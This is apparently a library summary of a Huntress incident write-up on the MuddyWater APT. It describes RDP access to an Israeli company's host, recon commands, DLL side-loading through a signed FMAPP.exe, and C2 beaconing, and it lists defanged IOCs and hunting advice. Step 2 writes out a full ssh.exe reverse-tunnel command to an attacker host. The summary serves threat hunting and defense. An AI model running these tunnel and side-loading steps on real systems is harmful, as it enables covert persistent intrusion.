# Unmasking an Attack Chain of MuddyWater

MuddyWater APT gained RDP access to an Israeli company, established SSH reverse tunnels, and deployed FMAPP.dll side-loaded via legitimate FMAPP.exe for C2.

- Payout: Real-world hack
- Severity: high
- Program: MuddyWater victim
- Credited: Huntress
- Disclosed: 2026-03-06
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/muddywater-attack-chain
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-muddywater-attack-chain
- Tags: domain:desktop impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:high tech:windows technique:legacy-endpoint technique:recon vuln:misconfiguration

**Target:** Windows endpoint (RDP-exposed host)
**Root cause:** Weak RDP access controls allowed initial login; attacker abused legitimate Fortemedia FMAPP.exe to side-load a malicious FMAPP.dll from the same directory, evading detection.
**Steps:**
1. RDP login to victim endpoint from `173.16.10[.]1`
2. Run `C:\Windows\System32\OpenSSH\ssh.exe -p 22 -o StrictHostKeyChecking=no asuedulimit@162.0.230[.]185 -2 -4 -N -R 10841` to establish reverse tunnel
3. Recon: `whoami /priv`, `net group`, `net localgroup administrators`
4. Drop `C:\Users\Public\Downloads\FMAPP.exe` (legit) and `FMAPP.dll` (malicious) side-by-side
5. Execute `FMAPP.exe`; it loads `FMAPP.dll` which beacons to C2 `157.20.182[.]49`
6. Verify with `tasklist | findstr FMAPP`, `ping 157.20.182[.]49`, `curl ifconfig[.]me`
7. Re-establish tunnel on port 8585 from a fresh PowerShell spawned via Explorer
**How found:** Huntress retroactively hunted IOCs from a Hunt.io blog on Iranian APT infrastructure across historical telemetry, surfacing a January 24 incident report showing ssh.exe reverse-tunnel command lines matching Group-IB MuddyWater IOCs.
**Exploitation:** Attacker logged in over RDP with valid credentials, opened a reverse SSH tunnel to their infrastructure for persistent access, then side-loaded a malicious DLL via a signed legitimate Fortemedia binary to establish C2 and continue hands-on-keyboard operations.
**Insight:** Legitimate signed binaries that load a same-directory DLL (like Fortemedia FMAPP.exe) are reliable side-loading hosts; hunt for ssh.exe with `-R` reverse-tunnel flags and `StrictHostKeyChecking=no` as a strong hands-on-keyboard APT signal.